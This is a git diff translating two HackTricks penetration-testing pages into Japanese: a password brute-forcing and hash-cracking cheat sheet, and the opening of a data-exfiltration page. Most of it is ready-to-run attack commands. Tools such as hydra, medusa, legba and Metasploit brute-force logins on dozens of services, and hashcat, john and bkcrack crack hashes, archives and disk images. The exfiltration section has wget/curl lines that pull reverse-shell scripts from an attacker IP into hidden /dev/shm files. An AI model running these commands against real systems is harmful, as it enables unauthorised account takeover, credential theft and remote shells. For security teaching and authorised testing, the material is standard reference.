- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - ## Services -Ordered alphabetically by service name. +サービス名のアルファベット順に並べられています。 ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -119,114 +94,84 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP - ```bash nmap --script ajp-brute -p 8009 ``` - -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) - +## AMQP (ActiveMQ、RabbitMQ、Qpid、JORAM、Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` - -### Cassandra - +### カッサンドラ ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` - ### CouchDB - ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` - -### Docker Registry - +### Docker レジストリ ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP - ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` - -### HTTP Generic Brute +### HTTPジェネリックブルート #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### HTTPベーシック認証 ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` - ### HTTP - NTLM - ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` - -### HTTP - Post Form - +### HTTP - ポストフォーム ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +http**s**の場合は、「http-post-form」を「**https-post-form」に変更する必要があります。 -For http**s** you have to change from "http-post-form" to "**https-post-form"** - -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress、(J)oomla、(D)rupal、または(M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` - ### IMAP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` - ### IRC - ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI - ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT - ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -249,33 +194,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP - ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` - ### MQTT - ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` - -### Mongo - +### モンゴ ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` - ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) - ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt @@ -296,9 +233,7 @@ mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` - ### MySQL - ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -312,9 +247,7 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` - ### OracleSQL - ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -338,21 +271,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` - -In order to use **oracle_login** with **patator** you need to **install**: - +**oracle_login**を**patator**で使用するには、**インストール**する必要があります: ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**バージョン 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** および **11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -363,9 +290,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` - ### PostgreSQL - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -375,109 +300,81 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +`.deb` パッケージを [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) からダウンロードしてインストールできます。 ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP - ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` - ### Redis - ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` - ### Rexec - ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin - ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh - ```bash hydra -L rsh:// -v -V ``` - [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync - ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP - ```bash hydra -l root -P passwords.txt rtsp ``` - ### SFTP - ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` - ### SNMP - ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB - ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` - ### SMTP - ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` - ### SOCKS - ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` - ### SQL Server - ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -486,9 +383,7 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### SSH - ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -498,38 +393,32 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` +#### 弱いSSHキー / Debianの予測可能なPRNG -#### Weak SSH keys / Debian predictable PRNG +一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)のようなツールでブルートフォース攻撃が可能な大幅に減少したキー空間が生じる可能性があります。弱いキーの事前生成されたセットも利用可能であり、例えば[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)があります。 -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) - -The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. +### STOMP (ActiveMQ, RabbitMQ, HornetQおよびOpenMQ) +STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、OpenMQなどの人気のあるメッセージキューサービスとの**シームレスな通信と相互作用を可能にする**広く使用されているメッセージングプロトコルです。メッセージを交換し、さまざまなメッセージング操作を実行するための標準化された効率的なアプローチを提供します。 ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` - -### Telnet - +### テルネット ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ - --username admin \ - --password wordlists/passwords.txt \ - --target localhost:23 \ - --telnet-user-prompt "login: " \ - --telnet-pass-prompt "Password: " \ - --telnet-prompt ":~$ " \ - --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin +--username admin \ +--password wordlists/passwords.txt \ +--target localhost:23 \ +--telnet-user-prompt "login: " \ +--telnet-pass-prompt "Password: " \ +--telnet-prompt ":~$ " \ +--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` - ### VNC - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -544,41 +433,29 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm - ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` +## ローカル -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Local - -### Online cracking databases +### オンラインクラッキングデータベース - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) - [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) -- [https://crackstation.net/](https://crackstation.net) (Hashes) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (ハッシュ、WPA2キャプチャ、MSOffice、ZIP、PDFのアーカイブ...) +- [https://crackstation.net/](https://crackstation.net) (ハッシュ) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) -- [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) -- [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) +- [https://gpuhash.me/](https://gpuhash.me) (ハッシュとファイルハッシュ) +- [https://hashes.org/search.php](https://hashes.org/search.php) (ハッシュ) +- [https://www.cmd5.org/](https://www.cmd5.org) (ハッシュ) - [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +ハッシュをブルートフォースする前にこれを確認してください。 ### ZIP - ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip @@ -594,12 +471,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### 既知平文ZIP攻撃 -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +暗号化されたZIP内に含まれるファイルの**平文**(または平文の一部)を知っている必要があります。暗号化されたZIP内に含まれる**ファイル名とファイルのサイズ**を確認するには、次のコマンドを実行します: **`7z l encrypted.zip`**\ +[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -611,9 +486,7 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z - ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -624,9 +497,7 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF - ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -635,13 +506,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` +### PDFオーナーパスワード -### PDF Owner Password - -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +PDFオーナーパスワードを解除するには、これを確認してください: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -653,17 +522,13 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` - -### NTLM cracking - +### NTLM クラッキング ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - -### Keepass - +### キーパス ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -671,30 +536,24 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - -### Keberoasting - +### ケベロースティング ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### Luksの画像 -### Lucks image - -#### Method 1 - -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### 方法1 +インストール: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -#### Method 2 - +#### 方法 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -703,39 +562,33 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +別のLuks BFチュートリアル: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` - -### PGP/GPG Private key - +### PGP/GPG プライベートキー ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
-### DPAPI Master Key +### DPAPI マスターキー -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) を使用し、その後 john を実行します。 -### Open Office Pwd Protected Column +### Open Office パスワード保護された列 -If you have an xlsx file with a column protected by a password you can unprotect it: - -- **Upload it to google drive** and the password will be automatically removed -- To **remove** it **manually**: +パスワードで保護された列を持つ xlsx ファイルがある場合、次のようにして解除できます: +- **Google ドライブにアップロード**すると、パスワードが自動的に削除されます。 +- **手動で**解除するには: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -744,76 +597,56 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` - -### PFX Certificates - +### PFX証明書 ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` +## ツール -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Tools - -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) - -### Hash-identifier +**ハッシュの例:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +### ハッシュ識別子 ```bash hash-identifier > ``` - -### Wordlists +### ワードリスト - **Rockyou** - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) - [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) - [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **ワードリスト生成ツール** +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、ルートを持つ高度なキーボードウォークジェネレーター。 ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` - ### John mutation -Read _**/etc/john/john.conf**_ and configure it - +_**/etc/john/john.conf**_ を読み込み、設定します。 ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Hashcat攻撃 -- **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +- **ワードリスト攻撃** (`-a 0`) ルール付き +**Hashcat** にはすでに **ルールを含むフォルダー** が付属していますが、[**他の興味深いルールはここにあります**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。 ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +- **Wordlist combinator** 攻撃 -- **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +hashcatを使用して**2つのワードリストを1つに結合**することが可能です。\ +リスト1に単語**"hello"**が含まれ、2番目のリストに単語**"world"**と**"earth"**の2行が含まれている場合、`helloworld`と`helloearth`が生成されます。 ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -824,9 +657,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -- **Mask attack** (`-a 3`) - +- **マスク攻撃** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -858,9 +689,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +- ワードリスト + マスク (`-a 6`) / マスク + ワードリスト (`-a 7`) 攻撃 ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -868,47 +697,30 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` - -#### Hashcat modes - +#### Hashcat モード ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` - -Cracking Linux Hashes - /etc/shadow file - +Linuxハッシュのクラッキング - /etc/shadowファイル ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` - -Cracking Windows Hashes - +Windowsハッシュのクラッキング ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` - -Cracking Common Application Hashes - +一般的なアプリケーションハッシュのクラッキング ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 2e5c0c1dd..6e52dbc59 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -2,39 +2,32 @@ {{#include ../banners/hacktricks-training.md}} -## Commonly whitelisted domains to exfiltrate information +## 情報を抽出するための一般的にホワイトリストに登録されたドメイン -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused +[https://lots-project.com/](https://lots-project.com/) を確認して、悪用できる一般的にホワイトリストに登録されたドメインを見つけてください。 ## Copy\&Paste Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - -**Windows** - +**ウィンドウズ** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP **Linux** - ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - -**Windows** - +**ウィンドウズ** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -49,13 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### ファイルのアップロード - 